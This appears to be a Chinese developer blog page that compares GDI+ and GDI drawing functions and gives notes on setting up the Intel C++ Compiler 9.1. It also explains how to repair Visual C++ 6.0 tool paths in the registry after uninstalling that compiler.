}
GDI+
GDI
备注
轮廓线
填充
DrawArc
-
Arc
圆弧
-
-
AngleArc
线段和圆弧
-
-
ArcTo
椭圆的圆弧
-
-
Chord
圆弧和线段组成的半月形
DrawEllipse
FillEllipse
Ellipse
圆和椭圆
DrawPie
FillPie
Pie
扇形
DrawLine
-
LineTo MoveToEx
从现在位置开始到终点的直线
DrawLines
-
Polyline PolyLineTo
一组线段组成的线段群
-
-
PolyPolyline
一组线段群
DrawPolygon
FillPolygon
Polygon
多边形
-
-
PolyPolygon
一组多边形
DrawBezier
-
-
由
4 个点定义的贝塞尔曲线
DrawBeziers
-
PolyBezier PolyBezierTo
一个以上的贝塞尔曲线
DrawPath
FillPath
FillPath
路径
DrawRectangle
FillRectangle
Rectangle
矩形
DrawRectangles
FillRectangles
-
一组矩形
-
-
RoundRect
圆弧端角的矩形
-
FillRegion
PaintRgn
FillRgn
Region
内部 填充
DrawString
-
TextOut
字符串
DrawClosedCurve
FillClosedCurve
-
闭合
Curve 曲线
DrawCurve
-
-
Curve
曲线
DrawIcon
-
-
在指定坐标处绘制由指定的
Icon 对象表示的图像。
DrawIconUnstretched
-
-
Icon
对象表示的图像,而不缩放该图像。
DrawImage
-
StretchBlt StretchDIBits
在指定位置并且按原始大小绘制指定的 Image 对象
DrawImageUnscaled
-
BitBlt
在由坐标对指定的位置,使用图像的原始物理大小绘制指定的图像。
6 avril
1)编译器的设置: 在windows下直接安装即可。 我只安装了Intel C++ Compiler for 32-bit Applications;Enhanced Debugger两项。 安装完成后,它会自动在环境变量中加入: ICPP_COMPILE91 值为: 安装目录\Compiler\C++\9.1 IDB_PATH 值为: 安装目录\Debugger\ INCLUDE 值为: %ICPP_COMPILER91%\IA32\Include INTEL_LICENSE_FILE 值为: C:\Program Files\Common Files\Intel\Licenses LIB 值为: %ICPP_COMPILER91%\IA32\Lib PATH 添加: %ICPP_COMPILER91%\IA32\Bin;%IDB_PATH%IDB\9.1\IA32\Script 2)其编译器的缺省行为: (1)产生可执行文件; (2)在配置文件中调用指定的选项; (3)搜索库的头文件,该库是在环境变量中指定的; (4)设置16字节对其; (5)显示错误和警告信息; (6)执行标准优化; (7)在支持Unicode编码的操作系统上,处理Unicode编码的文件名; (8)如果不能识别某些命令行选项,将忽略它并显示它。 3)编译文件 icl x.cpp 对多个文件的编译 icl x.cpp y.cpp z.cpp 用makefile编译项目 nmake -f your_project.mak CPP=icl.exe LINK32=xilink.exe 4)编译器识别的输入文件 ------------------------------------------------------------------- File Name Interpretation Action file.c C 源文件 编译器通过 ------------------------------------------------------------------- file.C C++源文件 编译器通过 file.CC file.cc file.cpp file.cxx ------------------------------------------------------------------- file.lib 库文件 链接器通过 ------------------------------------------------------------------- file.i 预处理文件 标准输出(stdout)通过 ------------------------------------------------------------------- file.obj 目标文件 连接器通过 ------------------------------------------------------------------- file.asm 汇编文件 汇编器通过 5)编译器识别的输出文件 file.i 预处理文件 用/P选项产生 file.obj 目标文件 用/Fo选项产生 file.asm 汇编语言文件 用/S选项产生 file.exe 可执行文件 编译器缺省产生 卸载Intel C++ Compiler后Visual C++ 6.0不能工作了 5)编译器识别的输出文件 file.i 预处理文件 用/P选项产生 file.obj 目标文件 用/Fo选项产生 file.asm 汇编语言文件 用/S选项产生 file.exe 可执行文件 编译器缺省产生 2 卸载Intel C++ Compiler后Visual C++ 6.0不能工作了 安装了Intel C++ Compiler进行评估,现在评估结束了,决定卸载。开始卸载之后,Visual C++ 6.0开始罢工了,报告无法找到xicl6.exe进行编译。搜索了下注册表,发现Intel C++ Compiler在安装时候修改了Visual C++的工具设置,但卸载时没有恢复。可以修改下面两个地方: 1、HKEY_CURRENT_USER\Software\Microsoft\DevStudio\6.0\Build System\Components\Platforms\Win32 (x86)\Tools\32-bit C/C++ Compiler for 80×86\Executable Path改成cl.exe; 2、HKEY_CURRENT_USER\Software\Microsoft\DevStudio\6.0\Build System\Components\Platforms\Win32 (x86)\Tools\COFF Linker for 80×86\Executable Path改成link.exe就可以了。 需要退出VC++ 6.0,然后重新启动,一切就正常了。 或者在卸载的时候,取消选中使用ICC编译器的选项的选项